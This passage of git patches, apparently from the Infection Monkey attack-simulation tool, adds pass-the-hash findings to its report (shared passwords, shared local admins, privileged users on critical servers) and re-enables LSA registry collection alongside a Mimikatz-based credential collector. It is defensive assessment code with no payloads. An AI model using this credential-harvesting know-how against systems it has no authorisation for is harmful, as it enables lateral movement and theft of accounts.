b/monkey_island/cc/ui/src/components/pages/ReportPage.js index 03939b01d..ed75da059 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -47,6 +47,7 @@ class ReportPageComponent extends AuthComponent { allMonkeysAreDead: false, runStarted: true }; + this.getPth } componentDidMount() { @@ -117,7 +118,7 @@ class ReportPageComponent extends AuthComponent { .then(res => { this.setState({ pthreport: res.report_info, - pthmap: res.map + pthmap: res.pthmap }); }); } @@ -389,6 +390,7 @@ class ReportPageComponent extends AuthComponent {
    {this.generateIssues(this.state.report.recommendations.issues)} + {this.generateIssues(this.state.pthreport.pth_issues)}
    ); @@ -399,6 +401,7 @@ class ReportPageComponent extends AuthComponent { (100 * this.state.report.glance.exploited.length) / this.state.report.glance.scanned.length; return (
    +

    The Network from the Monkey's Eyes

    @@ -452,7 +455,15 @@ class ReportPageComponent extends AuthComponent {
    - + { /* TODO: use dynamic data */} +
    ); @@ -728,6 +739,18 @@ class ReportPageComponent extends AuthComponent { ); } + generateSharedCredsIssue(issue) { + return ( +
  • + Some users are sharing passwords, this should be fixed by changing passwords. + + The user {issue.username} is sharing access password with: + {this.generateInfoBadges(issue.shared_with)}. + +
  • + ); + } + generateTunnelIssue(issue) { return (
  • @@ -800,6 +823,9 @@ class ReportPageComponent extends AuthComponent { case 'cross_segment': data = this.generateCrossSegmentIssue(issue); break; + case 'shared_password': + data = this.generateSharedCredsIssue(issue); + break; case 'tunnel': data = this.generateTunnelIssue(issue); break; From 3a9a92d1b9f2749c2a91251cf7ec557e5ffc092a Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Sun, 5 Aug 2018 11:46:47 +0300 Subject: [PATCH 090/183] * More info in the recommendations section --- monkey_island/cc/services/pth_report.py | 68 ++++++++++++++++--- .../cc/ui/src/components/pages/ReportPage.js | 32 +++++++++ 2 files changed, 91 insertions(+), 9 deletions(-) diff --git a/monkey_island/cc/services/pth_report.py b/monkey_island/cc/services/pth_report.py index 7a615db2d..6f244e09b 100644 --- a/monkey_island/cc/services/pth_report.py +++ b/monkey_island/cc/services/pth_report.py @@ -3,11 +3,18 @@ from cc.services.pth_report_utils import PassTheHashReport, Machine class PTHReportService(object): + """ + + """ + def __init__(self): pass @staticmethod def get_duplicated_password_nodes(pth): + """ + + """ usernames_lists = [] usernames_per_sid_list = [] @@ -110,7 +117,6 @@ class PTHReportService(object): @staticmethod def get_duplicated_passwords_issues(pth, password_groups): issues = [] - issues_dict = {} for group in password_groups: for username in group['cred_group']: sid = list(pth.GetSidsByUsername(username.split('\\')[1])) @@ -124,13 +130,38 @@ class PTHReportService(object): } ) - for issue in issues: - machine = issue['machine'] - if machine not in issues_dict: - issues_dict[machine] = [] - issues_dict[machine].append(issue) + return issues - return issues_dict + @staticmethod + def get_shared_local_admins_issues(shared_admins_machines): + issues = [] + for machine in shared_admins_machines: + issues.append( + { + 'type': 'shared_admins', + 'machine': machine.get('hostname'), + 'shared_accounts': machine.get('admins_accounts'), + 'ip': machine.get('ip'), + } + ) + + return issues + + @staticmethod + def strong_users_on_crit_issues(strong_users): + issues = [] + for machine in strong_users: + issues.append( + { + 'type': 'strong_users_on_crit', + 'machine': machine.get('hostname'), + 'services': machine.get('services_names'), + 'ip': machine.get('ip'), + 'threatening_users': machine.get('threatening_users') + } + ) + + return issues @staticmethod def generate_map_nodes(pth): @@ -150,14 +181,33 @@ class PTHReportService(object): return nodes_list + @staticmethod + def get_issues_list(issues): + issues_dict = {} + + for issue in issues: + machine = issue['machine'] + if machine not in issues_dict: + issues_dict[machine] = [] + issues_dict[machine].append(issue) + + return issues_dict + @staticmethod def get_report(): + + issues = [] pth = PassTheHashReport() + same_password = PTHReportService.get_duplicated_password_nodes(pth) local_admin_shared = PTHReportService.get_shared_local_admins_nodes(pth) strong_users_on_crit_services = PTHReportService.get_strong_users_on_crit_services(pth) strong_users_on_non_crit_services = PTHReportService.get_strong_users_on_non_crit_services(pth) - issues = PTHReportService.get_duplicated_passwords_issues(pth, same_password) + + issues += PTHReportService.get_duplicated_passwords_issues(pth, same_password) + issues += PTHReportService.get_shared_local_admins_issues(local_admin_shared) + issues += PTHReportService.strong_users_on_crit_issues(strong_users_on_crit_services) + formated_issues = PTHReportService.get_issues_list(issues) report = \ { @@ -167,7 +217,7 @@ class PTHReportService(object): 'local_admin_shared': local_admin_shared, 'strong_users_on_crit_services': strong_users_on_crit_services, 'strong_users_on_non_crit_services': strong_users_on_non_crit_services, - 'pth_issues': issues + 'pth_issues': formated_issues }, 'pthmap': { diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index ed75da059..5db48036b 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -751,6 +751,32 @@ class ReportPageComponent extends AuthComponent { ); } + generateSharedLocalAdminsIssue(issue) { + return ( +
  • + This machine shares a local admin account with another machine + + Here is a list showing users that are acting as admins on this machine and others: + {this.generateInfoBadges(issue.shared_accounts)} + +
  • + ); + } + + generateStrongUsersOnCritIssue(issue) { + return ( +
  • + This critical machine is open to attacks via strong users with access to it. + + The services: {this.generateInfoBadges(issue.services)} have been found on the machine + thus classifying it as a critical machine. + These users has access to it: + {this.generateInfoBadges(issue.threatening_users)}. + +
  • + ); + } + generateTunnelIssue(issue) { return (
  • @@ -826,6 +852,12 @@ class ReportPageComponent extends AuthComponent { case 'shared_password': data = this.generateSharedCredsIssue(issue); break; + case 'shared_admins': + data = this.generateSharedLocalAdminsIssue(issue); + break; + case 'strong_users_on_crit': + data = this.generateStrongUsersOnCritIssue(issue); + break; case 'tunnel': data = this.generateTunnelIssue(issue); break; From 4a780d81a82ed6c5387ec8e54aa91c5975aec881 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Sun, 5 Aug 2018 11:48:48 +0300 Subject: [PATCH 091/183] * removed not needed import * --- infection_monkey/system_info/windows_info_collector.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/infection_monkey/system_info/windows_info_collector.py b/infection_monkey/system_info/windows_info_collector.py index f6d85355c..ab5a79099 100644 --- a/infection_monkey/system_info/windows_info_collector.py +++ b/infection_monkey/system_info/windows_info_collector.py @@ -1,6 +1,5 @@ import os import logging -import traceback import sys sys.coinit_flags = 0 # needed for proper destruction of the wmi python module @@ -143,7 +142,7 @@ class WindowsInfoCollector(InfoCollector): self.get_wmi_info() LOG.debug('finished get_wmi_info') - #self.get_reg_key(r"SYSTEM\CurrentControlSet\Control\Lsa") + self.get_reg_key(r"SYSTEM\CurrentControlSet\Control\Lsa") self.get_installed_packages() mimikatz_collector = MimikatzCollector() From 3c40fd7cc3775ec3ad2bdf64a09fb0b6a0e3c6bb Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Wed, 8 Aug 2018 16:03:16 +0300 Subject: [PATCH 092/183] * Added warnings and threats comments about pth findings --- monkey_island/cc/services/pth_report.py | 25 +++++++++---------- monkey_island/cc/services/report.py | 19 +++++++++++--- .../cc/ui/src/components/pages/ReportPage.js | 22 ++++++++++------ 3 files changed, 42 insertions(+), 24 deletions(-) diff --git a/monkey_island/cc/services/pth_report.py b/monkey_island/cc/services/pth_report.py index 6f244e09b..3640e29e2 100644 --- a/monkey_island/cc/services/pth_report.py +++ b/monkey_island/cc/services/pth_report.py @@ -118,17 +118,16 @@ class PTHReportService(object): def get_duplicated_passwords_issues(pth, password_groups): issues = [] for group in password_groups: - for username in group['cred_group']: - sid = list(pth.GetSidsByUsername(username.split('\\')[1])) - machine_info = pth.GetSidInfo(sid[0]) - issues.append( - { - 'type': 'shared_password', - 'machine': machine_info.get('hostname').split('.')[0], - 'shared_with': [x for x in group['cred_group'] if x != username], - 'username': username - } - ) + username = group['cred_group'][0] + sid = list(pth.GetSidsByUsername(username.split('\\')[1])) + machine_info = pth.GetSidInfo(sid[0]) + issues.append( + { + 'type': 'shared_passwords', + 'machine': machine_info.get('hostname').split('.')[0], + 'shared_with': group['cred_group'] + } + ) return issues @@ -207,7 +206,7 @@ class PTHReportService(object): issues += PTHReportService.get_duplicated_passwords_issues(pth, same_password) issues += PTHReportService.get_shared_local_admins_issues(local_admin_shared) issues += PTHReportService.strong_users_on_crit_issues(strong_users_on_crit_services) - formated_issues = PTHReportService.get_issues_list(issues) + #formated_issues = PTHReportService.get_issues_list(issues) report = \ { @@ -217,7 +216,7 @@ class PTHReportService(object): 'local_admin_shared': local_admin_shared, 'strong_users_on_crit_services': strong_users_on_crit_services, 'strong_users_on_non_crit_services': strong_users_on_non_crit_services, - 'pth_issues': formated_issues + 'pth_issues': issues }, 'pthmap': { diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index 369b29c25..6a89afa58 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -9,6 +9,7 @@ from cc.services.config import ConfigService from cc.services.edge import EdgeService from cc.services.node import NodeService from cc.utils import local_ip_addresses, get_subnets +from pth_report import PTHReportService __author__ = "itay.mizeretz" @@ -43,10 +44,14 @@ class ReportService: AZURE = 6 STOLEN_SSH_KEYS = 7 STRUTS2 = 8 + PTH_CRIT_SERVICES_ACCESS = 10 + class WARNINGS_DICT(Enum): CROSS_SEGMENT = 0 TUNNEL = 1 + SHARED_LOCAL_ADMIN = 2 + SHARED_PASSWORDS = 3 @staticmethod def get_first_monkey_time(): @@ -365,7 +370,8 @@ class ReportService: @staticmethod def get_issues(): issues = ReportService.get_exploits() + ReportService.get_tunnels() +\ - ReportService.get_cross_segment_issues() + ReportService.get_azure_issues() + ReportService.get_cross_segment_issues() + ReportService.get_azure_issues() + \ + PTHReportService.get_report().get('report_info').get('pth_issues', []) issues_dict = {} for issue in issues: machine = issue['machine'] @@ -430,7 +436,9 @@ class ReportService: issues_byte_array[ReportService.ISSUES_DICT.STOLEN_SSH_KEYS.value] = True elif issue['type'] == 'struts2': issues_byte_array[ReportService.ISSUES_DICT.STRUTS2.value] = True - elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \ + elif issue['type'] == 'strong_users_on_crit': + issues_byte_array[ReportService.ISSUES_DICT.PTH_CRIT_SERVICES_ACCESS.value] = True + elif issue['type'].endswith('_password') and issue.get('password', None) in config_passwords and \ issue['username'] in config_users or issue['type'] == 'ssh': issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True elif issue['type'].endswith('_pth') or issue['type'].endswith('_password'): @@ -440,7 +448,7 @@ class ReportService: @staticmethod def get_warnings_overview(issues): - warnings_byte_array = [False] * 2 + warnings_byte_array = [False] * len(ReportService.WARNINGS_DICT) for machine in issues: for issue in issues[machine]: @@ -448,6 +456,10 @@ class ReportService: warnings_byte_array[ReportService.WARNINGS_DICT.CROSS_SEGMENT.value] = True elif issue['type'] == 'tunnel': warnings_byte_array[ReportService.WARNINGS_DICT.TUNNEL.value] = True + elif issue['type'] == 'shared_admins': + warnings_byte_array[ReportService.WARNINGS_DICT.SHARED_LOCAL_ADMIN.value] = True + elif issue['type'] == 'shared_passwords': + warnings_byte_array[ReportService.WARNINGS_DICT.SHARED_PASSWORDS.value] = True return warnings_byte_array @@ -472,6 +484,7 @@ class ReportService: config_users = ReportService.get_config_users() config_passwords = ReportService.get_config_passwords() + report = \ { 'overview': diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index 5db48036b..400381c8a 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -28,13 +28,16 @@ class ReportPageComponent extends AuthComponent { CONFICKER: 5, AZURE: 6, STOLEN_SSH_KEYS: 7, - STRUTS2: 8 + STRUTS2: 8, + PTH_CRIT_SERVICES_ACCESS: 10 }; Warning = { CROSS_SEGMENT: 0, - TUNNEL: 1 + TUNNEL: 1, + SHARED_LOCAL_ADMIN: 2, + SHARED_PASSWORDS: 3 }; constructor(props) { @@ -345,6 +348,9 @@ class ReportPageComponent extends AuthComponent {
  • Struts2 servers are vulnerable to remote code execution. ( CVE-2017-5638)
  • : null } + {this.state.report.overview.issues[this.Issue.PTH_CRIT_SERVICES_ACCESS] ? +
  • Credentials of strong users was found on machines and can give access to critical servers + (DC, MSSQL, etc..)
  • : null } : @@ -370,6 +376,10 @@ class ReportPageComponent extends AuthComponent { communicate. : null} {this.state.report.overview.warnings[this.Warning.TUNNEL] ?
  • Weak segmentation - Machines were able to communicate over unused ports.
  • : null} + {this.state.report.overview.warnings[this.Warning.SHARED_LOCAL_ADMIN] ? +
  • The monkey has found that some users have administrative rights on several machines.
  • : null} + {this.state.report.overview.warnings[this.Warning.SHARED_PASSWORDS] ? +
  • The monkey has found that some users are sharing passwords.
  • : null} : @@ -390,7 +400,6 @@ class ReportPageComponent extends AuthComponent {
    {this.generateIssues(this.state.report.recommendations.issues)} - {this.generateIssues(this.state.pthreport.pth_issues)}
    ); @@ -448,9 +457,6 @@ class ReportPageComponent extends AuthComponent {
    -
    - -
    @@ -744,7 +750,7 @@ class ReportPageComponent extends AuthComponent {
  • Some users are sharing passwords, this should be fixed by changing passwords. - The user {issue.username} is sharing access password with: + These users are sharing access password: {this.generateInfoBadges(issue.shared_with)}.
  • @@ -849,7 +855,7 @@ class ReportPageComponent extends AuthComponent { case 'cross_segment': data = this.generateCrossSegmentIssue(issue); break; - case 'shared_password': + case 'shared_passwords': data = this.generateSharedCredsIssue(issue); break; case 'shared_admins': From 0486b630aaedb7c5a869a1d99404e9cfff499c1c Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Wed, 8 Aug 2018 16:38:11 +0300 Subject: [PATCH 093/183] * Commented out the ldap checkup for bug testing --- infection_monkey/system_info/windows_info_collector.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/infection_monkey/system_info/windows_info_collector.py b/infection_monkey/system_info/windows_info_collector.py index ab5a79099..30685569b 100644 --- a/infection_monkey/system_info/windows_info_collector.py +++ b/infection_monkey/system_info/windows_info_collector.py @@ -162,8 +162,8 @@ class WindowsInfoCollector(InfoCollector): for wmi_class_name in WMI_CLASSES: self.info[wmi_class_name] = self.get_wmi_class(wmi_class_name) - for wmi_class_name, props in WMI_LDAP_CLASSES.iteritems(): - self.info[wmi_class_name] = self.get_wmi_class(wmi_class_name, "//./root/directory/ldap", props) + # for wmi_class_name, props in WMI_LDAP_CLASSES.iteritems(): + # self.info[wmi_class_name] = self.get_wmi_class(wmi_class_name, "//./root/directory/ldap", props) def get_wmi_class(self, class_name, moniker="//./root/cimv2", properties=None): _wmi = wmi.WMI(moniker=moniker) From c373bfbcfb3f3af2a669c36c67998727188b12d8 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Thu, 23 Aug 2018 15:17:08 +0300 Subject: [PATCH 094/183] * integrated parts of the pth report to the main report module. * Changed the ui a bit, removed some tables and add information to the current tables. --- monkey_island/cc/services/pth_report.py | 59 +++++++++++++++---- monkey_island/cc/services/pth_report_utils.py | 40 +++++++------ monkey_island/cc/services/report.py | 45 +++++++++----- .../components/pages/PassTheHashMapPage.js | 3 - .../cc/ui/src/components/pages/ReportPage.js | 49 +++------------ .../report-components/StrongUsers.js | 3 +- 6 files changed, 106 insertions(+), 93 deletions(-) diff --git a/monkey_island/cc/services/pth_report.py b/monkey_island/cc/services/pth_report.py index 3640e29e2..03167f81a 100644 --- a/monkey_island/cc/services/pth_report.py +++ b/monkey_island/cc/services/pth_report.py @@ -24,7 +24,8 @@ class PTHReportService(object): if count <= 1: continue for sid in pth.GetSidsBySecret(secret): - usernames_per_sid_list.append(pth.GetUsernameBySid(sid)) + if sid: + usernames_per_sid_list.append(pth.GetUsernameBySid(sid)) usernames_lists.append({'cred_group': usernames_per_sid_list}) @@ -56,7 +57,7 @@ class PTHReportService(object): return shared_admin_machines @staticmethod - def get_strong_users_on_crit_services(pth): + def get_strong_users_on_crit_services_by_machine(pth): threatening = dict(map(lambda x: (x, len(pth.GetThreateningUsersByVictim(x))), pth.GetCritialServers())) strong_users_crit_list = [] @@ -77,13 +78,34 @@ class PTHReportService(object): 'ip': m.GetIp(), 'hostname': m.GetHostName(), 'domain': m.GetDomainName(), - 'services_names': m.GetCriticalServicesInstalled(), - 'user_count': count, + 'services': m.GetCriticalServicesInstalled(), 'threatening_users': threatening_users_attackers_dict } strong_users_crit_list.append(machine) return strong_users_crit_list + + @staticmethod + def get_strong_users_on_crit_services_by_user(pth): + critical_servers = pth.GetCritialServers() + strong_users_dict = {} + + for server in critical_servers: + users = pth.GetThreateningUsersByVictim(server) + for sid in users: + username = pth.GetUsernameBySid(sid) + if username not in strong_users_dict: + strong_users_dict[username] = { + 'services_names': [], + 'machines': [] + } + strong_users_dict[username]['username'] = username + strong_users_dict[username]['domain'] = server.GetDomainName() + strong_users_dict[username]['services_names'] += server.GetCriticalServicesInstalled() + strong_users_dict[username]['machines'].append(server.GetHostName()) + + return strong_users_dict.values() + @staticmethod def get_strong_users_on_non_crit_services(pth): threatening = dict(map(lambda x: (x, len(pth.GetThreateningUsersByVictim(x))), pth.GetNonCritialServers())) @@ -117,8 +139,11 @@ class PTHReportService(object): @staticmethod def get_duplicated_passwords_issues(pth, password_groups): issues = [] + previeous_group = [] for group in password_groups: username = group['cred_group'][0] + if username in previeous_group: + continue sid = list(pth.GetSidsByUsername(username.split('\\')[1])) machine_info = pth.GetSidInfo(sid[0]) issues.append( @@ -128,6 +153,7 @@ class PTHReportService(object): 'shared_with': group['cred_group'] } ) + previeous_group += group['cred_group'] return issues @@ -154,19 +180,19 @@ class PTHReportService(object): { 'type': 'strong_users_on_crit', 'machine': machine.get('hostname'), - 'services': machine.get('services_names'), + 'services': machine.get('services'), 'ip': machine.get('ip'), - 'threatening_users': machine.get('threatening_users') + 'threatening_users': machine.get('threatening_users').keys() } ) return issues @staticmethod - def generate_map_nodes(pth): - nodes_list = [] - for node_id in pth.vertices: - machine = Machine(node_id) + def get_machine_details(node_id): + machine = Machine(node_id) + node = {} + if machine.latest_system_info: node = { "id": str(node_id), "label": '{0} : {1}'.format(machine.GetHostName(), machine.GetIp()), @@ -176,6 +202,13 @@ class PTHReportService(object): 'services': machine.GetCriticalServicesInstalled(), 'hostname': machine.GetHostName() } + return node + + @staticmethod + def generate_map_nodes(pth): + nodes_list = [] + for node_id in pth.vertices: + node = PTHReportService.get_machine_details(node_id) nodes_list.append(node) return nodes_list @@ -200,13 +233,13 @@ class PTHReportService(object): same_password = PTHReportService.get_duplicated_password_nodes(pth) local_admin_shared = PTHReportService.get_shared_local_admins_nodes(pth) - strong_users_on_crit_services = PTHReportService.get_strong_users_on_crit_services(pth) + strong_users_on_crit_services = PTHReportService.get_strong_users_on_crit_services_by_user(pth) strong_users_on_non_crit_services = PTHReportService.get_strong_users_on_non_crit_services(pth) issues += PTHReportService.get_duplicated_passwords_issues(pth, same_password) issues += PTHReportService.get_shared_local_admins_issues(local_admin_shared) - issues += PTHReportService.strong_users_on_crit_issues(strong_users_on_crit_services) - #formated_issues = PTHReportService.get_issues_list(issues) + issues += PTHReportService.strong_users_on_crit_issues( + PTHReportService.get_strong_users_on_crit_services_by_machine(pth)) report = \ { diff --git a/monkey_island/cc/services/pth_report_utils.py b/monkey_island/cc/services/pth_report_utils.py index b4839f852..9e9baa6b3 100644 --- a/monkey_island/cc/services/pth_report_utils.py +++ b/monkey_island/cc/services/pth_report_utils.py @@ -99,6 +99,8 @@ class Machine(object): if self.latest_system_info.count() > 0: self.latest_system_info = self.latest_system_info[0] + else: + self.latest_system_info = None self.monkey_info = NodeService.get_monkey_by_guid(self.monkey_guid) @@ -163,7 +165,7 @@ class Machine(object): def IsDomainController(self): return self.GetDomainRole() in (DsRole_RolePrimaryDomainController, DsRole_RoleBackupDomainController) - @cache + #@cache def GetSidByUsername(self, username, domain=None): doc = self.latest_system_info @@ -227,7 +229,7 @@ class Machine(object): @cache def GetCriticalServicesInstalled(self): def IsNameOfCriticalService(name): - services = ("W3svc", "MSExchangeServiceHost", "MSSQLServer", "dns") + services = ("W3svc", "MSExchangeServiceHost", "MSSQLServer", "dns", 'MSSQL$SQLEXPRESS') services = map(str.lower, services) if not name: @@ -290,7 +292,6 @@ class Machine(object): usernames = self.GetUsernamesBySecret(secret) return set(map(self.GetSidByUsername, usernames)) - @cache def GetGroupSidByGroupName(self, group_name): doc = self.latest_system_info @@ -305,7 +306,6 @@ class Machine(object): return None - @cache def GetUsersByGroupSid(self, sid): doc = self.latest_system_info @@ -360,7 +360,6 @@ class Machine(object): return GUIDs - @cache def GetLocalAdmins(self): admins = self.GetUsersByGroupSid(self.GetGroupSidByGroupName("Administrators")) @@ -369,7 +368,6 @@ class Machine(object): return admins - @cache def GetLocalAdminSids(self): return set(self.GetLocalAdmins().keys()) @@ -510,7 +508,7 @@ class Machine(object): DCs = self.GetDomainControllersMonkeyGuidByDomainName(domain_name) return map(Machine, DCs) - @cache + def GetDomainAdminsOfMachine(self): DCs = self.GetDomainControllers() @@ -521,15 +519,15 @@ class Machine(object): return domain_admins - @cache + #@cache def GetAdmins(self): - return self.GetLocalAdminSids() | self.GetDomainAdminsOfMachine() + return self.GetLocalAdminSids() # | self.GetDomainAdminsOfMachine() @cache def GetAdminNames(self): return set(map(lambda x: self.GetUsernameBySid(x), self.GetAdmins())) - @cache + #@cache def GetCachedSids(self): doc = self.latest_system_info @@ -622,16 +620,18 @@ class PassTheHashReport(object): edges_list = [] for attacker in self.vertices: - cached = self.GetCachedSids(Machine(attacker)) + cached = list(self.GetCachedSids(Machine(attacker))) for victim in self.vertices: if attacker == victim: continue - admins = Machine(victim).GetAdmins() + admins = list(Machine(victim).GetAdmins()) - if len(cached & admins) > 0: - relevant_users_list = self.ReprSidList(cached & admins, attacker, victim) + cached_admins = [i for i in cached if i in admins] + + if cached_admins: + relevant_users_list = self.ReprSidList(cached_admins, attacker, victim) edges_list.append( { 'from': attacker, @@ -929,7 +929,7 @@ class PassTheHashReport(object): def GetNonCritialServers(self): return set(self.machines) - self.GetCritialServers() - @cache + #@cache def GetCachedSids(self, m): sids = set() tmp = m.GetCachedSids() @@ -958,15 +958,17 @@ class PassTheHashReport(object): return threatening_users - @cache def GetSharedAdmins(self, m): - shared_admins = set() + shared_admins = [] for other in self.machines: if m == other: continue + for sid in m.GetLocalAdminSids(): + if sid in other.GetLocalAdminSids(): + shared_admins.append(sid) - shared_admins |= (m.GetLocalAdminSids() & other.GetLocalAdminSids()) + #shared_admins |= (m.GetLocalAdminSids() & other.GetLocalAdminSids()) - shared_admins -= m.GetDomainAdminsOfMachine() + #shared_admins -= m.GetDomainAdminsOfMachine() return shared_admins \ No newline at end of file diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index 6a89afa58..122f8ff5d 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -44,9 +44,9 @@ class ReportService: AZURE = 6 STOLEN_SSH_KEYS = 7 STRUTS2 = 8 + MSSQL_TO_BE = 9 PTH_CRIT_SERVICES_ACCESS = 10 - class WARNINGS_DICT(Enum): CROSS_SEGMENT = 0 TUNNEL = 1 @@ -103,25 +103,31 @@ class ReportService: @staticmethod def get_scanned(): + + formatted_nodes = [] + nodes = \ [NodeService.get_displayed_node_by_id(node['_id'], True) for node in mongo.db.node.find({}, {'_id': 1})] \ + [NodeService.get_displayed_node_by_id(monkey['_id'], True) for monkey in mongo.db.monkey.find({}, {'_id': 1})] - nodes = [ - { - 'label': node['label'], - 'ip_addresses': node['ip_addresses'], - 'accessible_from_nodes': - (x['hostname'] for x in - (NodeService.get_displayed_node_by_id(edge['from'], True) - for edge in EdgeService.get_displayed_edges_by_to(node['id'], True))), - 'services': node['services'] - } - for node in nodes] + + for node in nodes: + pth_services = PTHReportService.get_machine_details(NodeService.get_monkey_by_id(node['id']) + .get('guid', None)).get('services', None) + formatted_nodes.append( + { + 'label': node['label'], + 'ip_addresses': node['ip_addresses'], + 'accessible_from_nodes': + (x['hostname'] for x in + (NodeService.get_displayed_node_by_id(edge['from'], True) + for edge in EdgeService.get_displayed_edges_by_to(node['id'], True))), + 'services': node['services'] + pth_services if pth_services else [] + }) logger.info('Scanned nodes generated for reporting') - return nodes + return formatted_nodes @staticmethod def get_exploited(): @@ -160,13 +166,14 @@ class ReportService: origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname'] for user in monkey_creds: for pass_type in monkey_creds[user]: - creds.append( + cred_row = \ { 'username': user.replace(',', '.'), 'type': PASS_TYPE_DICT[pass_type], 'origin': origin } - ) + if cred_row not in creds: + creds.append(cred_row) logger.info('Stolen creds generated for reporting') return creds @@ -374,7 +381,7 @@ class ReportService: PTHReportService.get_report().get('report_info').get('pth_issues', []) issues_dict = {} for issue in issues: - machine = issue['machine'] + machine = issue.get('machine', '').upper() if machine not in issues_dict: issues_dict[machine] = [] issues_dict[machine].append(issue) @@ -483,6 +490,7 @@ class ReportService: issues = ReportService.get_issues() config_users = ReportService.get_config_users() config_passwords = ReportService.get_config_passwords() + pth_report = PTHReportService.get_report() report = \ @@ -511,6 +519,11 @@ class ReportService: 'recommendations': { 'issues': issues + }, + 'pth': + { + 'map': pth_report.get('pthmap'), + 'info': pth_report.get('report_info') } } diff --git a/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js b/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js index 8c7ded49b..20faafca7 100644 --- a/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js +++ b/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js @@ -50,9 +50,6 @@ class PassTheHashMapPageComponent extends AuthComponent { - - - ); } diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index 400381c8a..37c224956 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -29,6 +29,7 @@ class ReportPageComponent extends AuthComponent { AZURE: 6, STOLEN_SSH_KEYS: 7, STRUTS2: 8, + MSSQL_TO_BE: 9, PTH_CRIT_SERVICES_ACCESS: 10 }; @@ -55,9 +56,8 @@ class ReportPageComponent extends AuthComponent { componentDidMount() { this.updateMonkeysRunning().then(res => this.getReportFromServer(res)); - this.getPTHReportFromServer(); this.updateMapFromServer(); - this.interval = setInterval(this.updateMapFromServer, 1000); + /*this.interval = setInterval(this.updateMapFromServer, 1000);*/ } componentWillUnmount() { @@ -132,7 +132,9 @@ class ReportPageComponent extends AuthComponent { .then(res => res.json()) .then(res => { this.setState({ - report: res + report: res, + pthreport: res.pth.info, + pthmap: res.pth.map }); }); } @@ -450,59 +452,24 @@ class ReportPageComponent extends AuthComponent {
    -
    - -
    {this.generateReportPthMap()}
    - -
    -
    - +
    - { /* TODO: use dynamic data */} - +
    ); } generateReportPthMap() { - // TODO: remove this and use updateMapFromSerever to get actual map data. - const my_map = { - nodes: [ - {id: '1', label: 'MYPC-1', group: 'normal', users: ['MYPC-2\\user1', 'Dom\\user2'], ips: ['192.168.0.1'], services: ["DC", "SQL"], 'hostname': 'aaa1'}, - {id: 2, label: 'MYPC-2', group: 'critical', users: ['MYPC-2\\user1', 'Dom\\user2'], ips: ['192.168.0.1'], services: ["DC", "SQL"], 'hostname': 'aaa2'}, - {id: 3, label: 'MYPC-3', group: 'normal', users: ['MYPC-3\\user1', 'Dom\\user3'], ips: ['192.168.0.2'], services: ["DC", "SQL"], 'hostname': 'aaa3'}, - {id: 4, label: 'MYPC-4', group: 'critical', users: ['MYPC-4\\user1', 'Dom\\user4'], ips: ['192.168.0.3', '192.168.0.4'], services: ["DC", "SQL"], 'hostname': 'aaa4'}, - {id: 5, label: 'MYPC-5', group: 'normal', users: ['MYPC-5\\user1', 'Dom\\user5'], ips: ['192.168.0.1'], services: [], 'hostname': 'aaa5'}, - {id: 6, label: 'MYPC-6', group: 'critical', users: ['MYPC-6\\user1', 'Dom\\user6'], ips: ['192.168.0.1'], services: ["DC"], 'hostname': 'aaa6'}, - {id: 7, label: 'MYPC-7', group: 'critical', users: ['MYPC-7\\user1', 'Dom\\user7'], ips: ['192.168.0.1'], services: ["DC", "SQL"], 'hostname': 'aaa7'} - ], - edges: [ - {id: 10, from: '1', to: 2, users: ['MYPC-3\\user1', 'Dom\\user3'], _label: 'bla0'}, - {id: 11, from: '1', to: 3, users: ['MYPC-3\\user1', 'Dom\\user3'], _label: 'bla1'}, - {id: 12, from: '1', to: 4, users: ['MYPC-3\\user1', 'Dom\\user3'], _label: 'bla2'}, - {id: 13, from: 5, to: 6, users: ['MYPC-3\\user1', 'Dom\\user3'], _label: 'bla3'}, - {id: 14, from: 6, to: 7, users: ['MYPC-3\\user1', 'Dom\\user3'], _label: 'bla4'}, - {id: 15, from: 6, to: 5, users: ['MYPC-3\\user1', 'Dom\\user3'], _label: 'bla5'}, - ] - - }; return (

    Credential Map

    -
    +

    diff --git a/monkey_island/cc/ui/src/components/report-components/StrongUsers.js b/monkey_island/cc/ui/src/components/report-components/StrongUsers.js index bfb933ec1..36068f26e 100644 --- a/monkey_island/cc/ui/src/components/report-components/StrongUsers.js +++ b/monkey_island/cc/ui/src/components/report-components/StrongUsers.js @@ -2,6 +2,7 @@ import React from 'react'; import ReactTable from 'react-table' let renderArray = function(val) { + console.log(val); return
    {val.map(x =>
    {x}
    )}
